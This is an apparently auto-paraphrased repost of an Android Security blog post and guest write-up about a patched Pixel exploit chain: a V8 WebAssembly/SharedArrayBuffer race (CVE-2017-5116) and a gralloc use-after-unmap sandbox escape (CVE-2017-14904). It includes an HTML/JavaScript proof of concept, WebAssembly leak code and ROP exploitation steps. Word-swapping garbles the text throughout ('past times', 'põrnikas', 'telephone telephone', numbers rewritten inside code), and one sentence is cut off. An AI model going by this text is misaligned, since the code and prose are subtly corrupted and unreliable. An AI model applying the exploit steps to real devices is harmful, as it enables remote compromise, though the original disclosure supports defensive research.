Wednesday, October 24, 2018

Android Safety Ecosystem Investments Pay Dividends For Pixel

Posted past times Mayank Jain in addition to Scott Roberts of the Android Security team

In June 2017, the Android safety squad increased the top payouts for the Android Security Rewards (ASR) plan in addition to worked amongst researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the commencement working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest vantage inwards the history of the ASR plan in addition to $7500 past times Chrome Rewards program for a total of $112,500. The consummate laid of issues was resolved equally portion of the December 2017 monthly safety update. Devices amongst the safety patch marker of 2017-12-05 or afterward are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) arrangement updates volition automatically install these updates; users must restart their devices to consummate the installation.

The Android Security squad would similar to give cheers Guang Gong in addition to the researcher community for their contributions to Android security. If you'd similar to participate inwards Android Security Rewards program, banking concern check out our Program rules. For tips on how to submit reports, run across Bug Hunter University.

The next article is a invitee weblog ship authored past times Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel telephone is protected past times many layers of security. It was the alone device that was non pwned inwards the CVE-2017-5116 is a V8 engine põrnikas that is used to larn remote code execution inwards sandboxed Chrome homecoming process. CVE-2017-14904 is a põrnikas inwards Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain tin endure used to inject arbitrary code into system_server past times accessing a malicious URL inwards Chrome. To reproduce the exploit, an event vulnerable environs is Chrome 60.3112.107 + Android 7.1.2 (Security patch marker 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE põrnikas (CVE-2017-5116)

New features commonly convey novel bugs. V8 6.0 introduces back upward for SharedArrayBuffer, a low-level machinery to portion retention betwixt JavaScript workers in addition to synchronize command menstruation across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, in addition to futexes. WebAssembly is a novel type of code that tin endure run inwards modern spider web browsers— it is a low-level assembly-like linguistic communication amongst a compact binary format that runs amongst near-native performance in addition to provides languages, such equally C/C++, amongst a compilation target thence that they tin run on the web. By combining the iii features, SharedArrayBuffer WebAssembly, in addition to spider web worker inwards Chrome, an OOB access tin endure triggered through a race condition. Simply speaking, WebAssembly code tin endure lay into a SharedArrayBuffer in addition to and thence transferred to a spider web worker. When the nous thread parses the WebAssembly code, the worker thread tin modify the code at the same time, which causes an OOB access.

The buggy code is inwards the portion GetFirstArgumentAsBytes where the declaration args may endure an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may endure backed past times a SharedArraybuffer, thence the content of the TypedArray may endure modified past times other worker threads at whatever time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(     const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {   ......   } else if (source->IsTypedArray()) {    //--->source should endure checked if it's backed past times a SharedArrayBuffer     // H5N1 TypedArray was passed.     Local<TypedArray> array = Local<TypedArray>::Cast(source);     Local<ArrayBuffer> buffer = array->Buffer();     ArrayBuffer::Contents contents = buffer->GetContents();     start =         reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();     length = array->ByteLength();   }    ......   homecoming i::wasm::ModuleWireBytes(start, start + length); } 

H5N1 unproblematic PoC is equally follows:

<html> <h1>poc</h1> <script id="worker1"> worker:{        self.onmessage = function(arg) {         console.log("worker started");         var ta = novel Uint8Array(arg.data);         var i =0;         while(1){             if(i==0){                 i=1;                 ta[51]=0;   //--->4)modify the webassembly code at the same fourth dimension             }else{                 i=0;                 ta[51]=128;             }         }     } } </script> <script> portion getSharedTypedArray(){     var wasmarr = [         0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,         0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,         0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,         0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,         0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,         0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,         0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];     var sb = novel SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code inwards a SharedArrayBuffer     var sta = novel Uint8Array(sb);     for(var i=0;i<sta.length;i++)         sta[i]=wasmarr[i];     homecoming sta;     } var blob = novel Blob([         document.querySelector('#worker1').textContent         ], { type: "text/javascript" })  var worker = novel Worker(window.URL.createObjectURL(blob));   //---> 2)create a spider web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the spider web worker setTimeout(function(){         while(1){         try{         sta[51]=0;         var myModule = novel WebAssembly.Module(sta);          //--->4)parse the WebAssembly code         var myInstance = novel WebAssembly.Instance(myModule);         //myInstance.exports.getAnswerPlus1();         }catch(e){         }         }     },1000);  //worker.terminate();  </script> </html> 

The text format of the WebAssembly code is equally follows:

00002b func[0]: 00002d: 41 2a                      | i32.const 42 00002f: 0b                         | terminate 000030 func[1]: 000032: 10 00                      | telephone telephone 0 000034: 41 01                      | i32.const 1 000036: 6a                         | i32.add 000037: 0b                         | terminate 

First, the inwards a higher house binary format WebAssembly code is lay into a SharedArrayBuffer, in addition to thence a TypedArray Object is created, using the SharedArrayBuffer equally buffer. After that, a worker thread is created in addition to the SharedArrayBuffer is passed to the newly created worker thread. While the nous thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race status causes a TOCTOU issue. After the nous thread's boundary check, the teaching " telephone telephone 0" tin endure modified past times the worker thread to "call 128" in addition to and thence endure parsed in addition to compiled past times the nous thread, thence an OOB access occurs.

Because the "call 0" Web Assembly teaching tin endure modified to telephone telephone whatever other Web Assembly functions, the exploitation of this põrnikas is straightforward. If "call 0" is modified to "call $leak", registers in addition to stack contents are dumped to Web Assembly memory. Because portion 0 in addition to portion $leak own got a dissimilar number of arguments, this results inwards many useful pieces of information inwards the stack beingness leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)     i32.const 0     get_local 0     i32.store     i32.const iv     get_local 1     i32.store     i32.const 8     get_local 2     i32.store     i32.const 12     get_local 3     i32.store     i32.const xvi     get_local iv     i32.store     i32.const twenty     get_local v     i32.store     i32.const 0   )) 

Not alone the teaching "call 0" tin endure modified, whatever "call funcx" teaching tin endure modified. Assume funcx is a wasm portion amongst 6 arguments equally follows, when v8 compiles funcx inwards ia32 architecture, the commencement v arguments are passed through the registers in addition to the 6th declaration is passed through stack. All the arguments tin endure laid to whatever value past times JavaScript:

/*Text format of funcx*/  (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)     get_local v     get_local iv     i32.add)  /*Disassembly code of funcx*/ --- Code --- variety = WASM_FUNCTION holler = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600     0  8b442404       mov eax,[esp+0x4] 0x58f87604     iv  03c6           add together eax,esi 0x58f87606     6  c20400         ret 0x4 0x58f87609     nine  0f1f00         nop  Safepoints (size = 8)  RelocInfo (size = 0)  --- End code --- 

When a JavaScript portion calls a WebAssembly function, v8 compiler creates a JS_TO_WASM portion internally, after compilation, the JavaScript portion volition telephone telephone the created JS_TO_WASM portion in addition to and thence the created JS_TO_WASM portion volition telephone telephone the WebAssembly function. JS_TO_WASM functions usage dissimilar telephone telephone convention, its commencement arguments is passed through stack. If "call funcx" is modified to telephone telephone the next JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM portion */ --- Code --- variety = JS_TO_WASM_FUNCTION holler = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20     0  55             force ebp 0x4be08f21     1  89e5           mov ebp,esp 0x4be08f23     3  56             force esi 0x4be08f24     iv  57             force edi 0x4be08f25     v  83ec08         sub esp,0x8 0x4be08f28     8  8b4508         mov eax,[ebp+0x8] 0x4be08f2b     b  e8702e2bde     telephone telephone 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN 0x4be08f30    10  a801           bear witness al,0x1 0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42> 

The JS_TO_WASM portion volition accept the 6th arguments of funcx equally its commencement argument, but it takes its commencement declaration equally an object pointer, thence type confusion volition endure triggered when the declaration is passed to the ToNumber function, which agency nosotros tin travel past times whatever values equally an object pointer to the ToNumber function. So nosotros tin mistaken an ArrayBuffer object inwards some address such equally inwards a double array in addition to travel past times the address to ToNumber. The layout of an ArrayBuffer is equally follows:

/* ArrayBuffer layouts forty Bytes*/                                                                                                                          Map                                                                                                                                                        Properties                                                                                                                                                 Elements                                                                                                                                                   ByteLength                                                                                                                                                 BackingStore                                                                                                                                               AllocationBase                                                                                                                                             AllocationLength                                                                                                                                           Fields                                                                                                                                                     internal                                                                                                                                                   internal                                                                                                                                                                                                                                                                                                         /* Map layouts 44 Bytes*/                                                                                                                                    static kMapOffset = 0,                                                                                                                                     static kInstanceSizesOffset = 4,                                                                                                                           static kInstanceAttributesOffset = 8,                                                                                                                      static kBitField3Offset = 12,                                                                                                                              static kPrototypeOffset = 16,                                                                                                                              static kConstructorOrBackPointerOffset = 20,                                                                                                               static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                             static kDescriptorsOffset = 28,                                                                                                                            static kLayoutDescriptorOffset = 1,                                                                                                                        static kCodeCacheOffset = 32,                                                                                                                              static kDependentCodeOffset = 36,                                                                                                                          static kWeakCellCacheOffset = 40,                                                                                                                          static kPointerFieldsBeginOffset = 16,                                                                                                                     static kPointerFieldsEndOffset = 44,                                                                                                                       static kInstanceSizeOffset = 4,                                                                                                                            static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                            static kUnusedOffset = 6,                                                                                                                                  static kVisitorIdOffset = 7,                                                                                                                               static kInstanceTypeOffset = 8,     //one byte                                                                                                             static kBitFieldOffset = 9,                                                                                                                                static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                 static kBitField2Offset = 10,                                                                                                                              static kUnusedPropertyFieldsOffset = xi 

Because the content of the stack tin endure leaked, nosotros tin larn many useful information to mistaken the ArrayBuffer. For example, nosotros tin leak the start address of an object, in addition to calculate the start address of its elements, which is a FixedArray object. We tin usage this FixedArray object equally the faked ArrayBuffer's properties in addition to elements fields. We own got to mistaken the map of the ArrayBuffer too, luckily, most of the fields of the map are non used when the põrnikas is triggered. But the InstanceType inwards offset 8 has to endure laid to 0xc3(this value depends on the version of v8) to dot this object is an ArrayBuffer. In companionship to larn a reference of the faked ArrayBuffer inwards JavaScript, nosotros own got to laid the Prototype plain of Map inwards offset xvi to an object whose Symbol.toPrimitive holding is a JavaScript telephone telephone dorsum function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the telephone telephone dorsum portion volition endure called, thence nosotros tin larn a reference of the faked ArrayBuffer inwards the telephone telephone dorsum function. Because the ArrayBuffer is faked inwards a double array, the content of the array tin endure laid to whatever value, thence nosotros tin alter the plain BackingStore in addition to ByteLength of the faked array buffer to larn arbitrary retention read in addition to write. With arbitrary retention read/write, executing shellcode is simple. As JIT Code inwards Chrome is readable, writable in addition to executable, nosotros tin overwrite it to execute shellcode.

Chrome squad fixed this põrnikas real chop-chop inwards chrome 61.0.3163.79, merely a calendar week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape põrnikas is caused past times map in addition to unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is inwards the functions gralloc_map in addition to gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,                        buffer_handle_t handle) { ……     private_handle_t* hnd = (private_handle_t*)handle;     ……     if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&         !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {         size = hnd->size;         err = memalloc->map_buffer(&mappedAddress, size,                                        hnd->offset, hnd->fd);        //---> mapped an ashmem in addition to larn the mapped address. the ashmem fd in addition to offset tin endure controlled past times Chrome homecoming process.         if(err || mappedAddress == MAP_FAILED) {             ALOGE("Could non mmap grip %p, fd=%d (%s)",                   handle, hnd->fd, strerror(errno));             homecoming -errno;         }         hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> salvage mappedAddress+offset to hnd->base     } else {         err = -EACCES; } ……     homecoming err; } 

gralloc_map maps a graphic buffer controlled past times the arguments grip to retention infinite in addition to gralloc_unmap unmaps it. While mapping, the mappedAddress summation hnd->offset is stored to hnd->base, but piece unmapping, hnd->base is passed to arrangement telephone telephone unmap direct minus the offset. hnd->offset tin endure manipulated from a Chrome's sandboxed process, thence it's possible to unmap whatever pages inwards system_server from Chrome's sandboxed homecoming process.

static int gralloc_unmap(gralloc_module_t const* module,                          buffer_handle_t handle) {   ……     if(hnd->base) {         err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> piece unmapping, hnd->offset is non used, hnd->base is used equally the base of operations address, map in addition to unmap are mismatched.         if (err) {             ALOGE("Could non unmap retention at address %p, %s", (void*) hnd->base,                     strerror(errno));             homecoming -errno;         }         hnd->base = 0; } ……     homecoming 0; }  int IonAlloc::unmap_buffer(void *base, unsigned int size,         unsigned int /*offset*/)                               //---> look, offset is non used past times unmap_buffer {     int err = 0;     if(munmap(base, size)) {         err = -errno;         ALOGE("ion: Failed to unmap retention at %p : %s",               base, strerror(errno));     }     homecoming err; } 

Although SeLinux restricts the domain isolated_app to access most of Android arrangement service, isolated_app tin even thence access iii Android arrangement services.

52neverallow isolated_app { 53    service_manager_type 54    -activity_service 55    -display_service 56    -webviewupdate_service 57}:service_manager find; 

To trigger the aforementioned Use-After-Unmap põrnikas from Chrome's sandbox, commencement lay a GraphicBuffer object, which is parseable into a bundle, in addition to and thence telephone telephone the binder method convertToTranslucent of IActivityManager to travel past times the malicious packet to system_server. When system_server handles this malicious bundle, the põrnikas is triggered.

This EoP põrnikas targets the same assail surface equally the põrnikas inwards our 2016 MoSec presentation, Bitunmap, except exploiting it from a sandboxed Chrome homecoming procedure is to a greater extent than hard than from an app. 

To exploit this EoP bug:

1. Address infinite shaping. Make the address infinite layout await equally follows, a heap chunk is correct inwards a higher house some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted) ...... 

2. Unmap portion of the heap (1 KB) in addition to portion of an ashmem retention (2MB–1KB) past times triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc] //--->There is a 2MB retention gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted) 

3. Fill the unmapped infinite amongst an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)   //--->The gap is filled amongst the ashmem retention 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted) 

4. Spray the heap in addition to the heap information volition endure written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted) //--->the heap managing director believes the retention make from 0x7f547ff000 to 0x7f54800000 is even thence mongered past times it in addition to volition allocate retention from this range, consequence inwards heap information is written to ashmem retention 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted) 

5. Because the filled ashmem inwards measuring 3 is mapped both past times system_server in addition to homecoming process, portion of the heap of system_server tin endure read in addition to written past times homecoming procedure in addition to nosotros tin trigger system_server to allocate some GraphicBuffer object inwards ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a fellow member named mutual whose type is android_native_base_t, nosotros tin read 2 portion points (incRef in addition to decRef) from ashmem retention in addition to and thence tin calculate the base of operations address of the module libui. In the latest Pixel device, Chrome's homecoming procedure is even thence 32-bit procedure but system_server is 64-bit process. So nosotros own got to leak some module's base of operations address for ROP. Now that nosotros own got the base of operations address of libui, the terminal measuring is to trigger ROP. Unluckily, it seems that the points incRef in addition to decRef haven't been used. It's impossible to modify it to boundary to ROP, but nosotros tin modify the virtual tabular array of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t {     /* a magic value defined past times the actual EGL native type */     int magic;      /* the sizeof() of the actual EGL native type */     int version;      void* reserved[4];      /* reference-counting interface */     void (*incRef)(struct android_native_base_t* base);     void (*decRef)(struct android_native_base_t* base); } android_native_base_t; 

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual portion onLastStrongRef is called, thence nosotros tin supplant this virtual portion to boundary to ROP. When GC happens, the command menstruation goes to ROP. Finding an ROP chain inwards express module(libui) is challenging, but after hard work, nosotros successfully constitute i in addition to dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android safety squad responded chop-chop to our study in addition to included the cook for these 2 bugs inwards the December 2017 Security Update. Supported Google device in addition to devices amongst the safety patch marker of 2017-12-05 or afterward address these issues. While parsing untrusted parcels even thence happens inwards sensitive locations, the Android safety squad is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP põrnikas was discovered cheers to a articulation endeavor betwixt 360 Alpha Team in addition to 360 C0RE Team. Thanks real much for their effort.

Related Post

Android Safety Ecosystem Investments Pay Dividends For Pixel
4/ 5
Oleh